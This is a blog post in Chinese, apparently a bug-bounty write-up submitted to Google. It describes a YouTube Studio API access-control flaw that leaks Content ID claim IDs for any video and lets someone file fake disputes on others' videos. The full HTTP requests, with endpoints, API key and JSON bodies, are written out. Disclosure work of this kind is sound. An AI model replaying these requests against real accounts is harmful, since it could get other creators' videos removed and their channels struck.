利用API漏洞删除他人YouTube视频的创意方法

本文详细介绍了如何通过YouTube Studio API中的访问控制漏洞,利用内容ID声明系统发起虚假争议,导致目标视频被删除并收到版权警告的技术细节和攻击流程。

一种删除他人YouTube视频的创意方法 + 对YouTube频道发起版权警告

大家好!欢迎回到另一篇关于我向Google提交的有趣发现的博客文章。既然上一篇文章获得了如此好的反响,我可能会在本周末或下周发布另一篇。不确定那篇文章会包含什么内容。

如果你阅读了上一篇文章,你可能看到了如何利用Google Classroom中的API泄露其他用户的Google Drive文件。Google为此提供了丰厚的赏金并迅速修复了它。那篇文章获得的关注度也很惊人,所以感谢大家。

在这篇文章中,我将向你展示一个非常有趣的发现,它可能导致你能够删除他人的YouTube视频,甚至让他们的整个频道面临被删除的风险。

那么让我们开始吧!

首先简单介绍一下YouTube和版权争议的背景。

我认为大多数人都知道YouTube有一个版权流程,例如,如果你上传的视频使用了其他人的音乐,就会对你的视频提出内容ID声明。这些通常是无害的,可能会导致广告出现在你的视频上,这样材料的真正所有者可以从中赚取一些钱等等。

假设对你的视频提出了内容ID声明,而你实际上拥有视频中的材料。YouTube也有一个非常好的争议流程你可以进行。这是他们展示此流程的图片:

这是Google提供的一个非常棒的图表,展示了争议流程。因此,如果你对你上传的YouTube视频的内容ID声明提出争议,实际内容的所有者会收到通知,并且他们可以执行几个操作。如果所有者认为你的争议声明无效,他们可以这样做:

声明人可以做什么

  • 释放声明: 如果声明人同意你的争议,他们可以释放他们的声明。 如果你之前对视频进行了货币化,当视频上的所有声明都被释放时,你的货币化设置将自动恢复。了解在内容ID争议期间的货币化信息。

  • 恢复声明: 如果声明人认为他们的声明仍然有效,他们可以恢复它。这意味着你的争议被拒绝,声明保留在你的视频上。你可能有权对此决定提出上诉。

  • 提交删除请求:如果声明人认为他们的声明仍然有效,他们可以提交版权删除请求。如果删除请求有效,你的视频将从YouTube中删除,并且你的频道会收到版权警告。了解解决版权警告的选项。

  • 让声明过期:如果声明人在30天内未响应,你视频上的声明将过期并从你的视频中释放。

正如你在上面看到的,如果你提交争议,材料的所有者实际上可以提交完整的删除请求来删除你的视频,这还会导致你的频道收到版权警告。对于那些不知道的人来说,YouTube频道上的版权警告非常严重。你的频道面临被完全删除的风险。

发现

这个特别的夜晚,当我在进行研究时,我正在测试YouTube Content Studio:https://studio.youtube.com

我主要只是测试所有不同的API端点,看看是否有任何缺少访问控制检查的地方。好消息是,在测试删除他人YouTube视频的API时,我收到了访问被拒绝的错误,所以在这方面一切都很好。

现在我在想,如果我不能直接删除某人的YouTube视频或频道,我还能做什么。我该如何绕过这个限制?

在研究过程中,我在上传了一个之前有内容ID声明的视频后,最终找到了这个API端点:

1
2
3
POST /youtubei/v1/creator/list_creator_received_claims?alt=json&key=AIzaSyBUPetSUmoZL-OhlxA7wSac5XinrygCqMo HTTP/1.1
Host: studio.youtube.com
{"context":{"client":{"clientName":62,"clientVersion":"1.20200105.0.0","hl":"en","gl":"US","experimentsToken":""},"request":{"returnLogEntry":true,"internalExperimentFlags":[{"key":"force_route_innertube_shopping_settings_to_outertube","value":"true"},{"key":"force_live_chat_merchandise_upsell","value":"false"},{"key":"force_route_delete_playlist_to_outertube","value":"false"}]},"clientScreenNonce":"MC41MTczMTA1ODY2MDI3NzMy"},"videoId":"n6c0nOScCCo","criticalRead":false}

在上面的请求中,它列出了你拥有的视频收到的内容ID声明。在底部你应该看到这个:

"videoId":"n6c0nOScCCo"

如果你将视频ID替换为任何其他视频,你可以看到针对该视频的内容ID声明。所以这个API没有适当的访问控制检查,允许你泄露针对任何人视频的内容ID声明。

当我这样做时,我注意到我在响应中收到了claimID。然后我想知道知道claimID会有多大用处。

随后在调查中我发现了下一个请求:

1
2
3
POST /youtubei/v1/copyright/submit_claim_dispute?alt=json&key=AIzaSyBUPetSUmoZL-OhlxA7wSac5XinrygCqMo HTTP/1.1
Host: studio.youtube.com
{"claimId":{"claimId":"UK9o_XrpTyM","videoId":"n6c0nOScCCo"},"claimDisputeReason":"CLAIM_DISPUTE_REASON_FAIR_USE","fairUseType":"FAIR_USE_TYPE_PROMOTIONAL","justification":"test","signature":"test","channelId":"UCB1Z_cpKu-5V4ag30cndODQ","context":{"client":{"clientName":62,"clientVersion":"1.20200105.0.0","hl":"en","gl":"US","experimentsToken":""},"request":{"returnLogEntry":true,"internalExperimentFlags":[{"key":"force_route_innertube_shopping_settings_to_outertube","value":"true"},{"key":"force_live_chat_merchandise_upsell","value":"false"},{"key":"force_route_delete_playlist_to_outertube","value":"false"}]},"clientScreenNonce":"MC41MTczMTA1ODY2MDI3NzMy"}}

如果你看上面这个请求,你应该看到:

{"claimId":{"claimId":"UK9o_XrpTyM","videoId":"n6c0nOScCCo"},"claimDisputeReason":"CLAIM_DISPUTE_REASON_FAIR_USE",

我刚刚在第一个请求中泄露了视频的claimID。所以现在你需要做的就是将claimID更改为你泄露的ID,并将videoID更改为你目标视频的ID。

你现在已经在他人整个视频上完全打开并提交了一个虚假的内容声明争议。如果你还记得上面的图片,真正的所有者可以完全提交响应,让你的整个视频被删除,并附带版权警告。

因此,虽然这并没有直接导致任何人的YouTube视频被删除,但这是一种可能实现这一目标的创造性方法。

这是一个视频POC:

再次说明,Google VRP喜欢在他们的视频中加入音乐,所以也请享受这一点 :)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计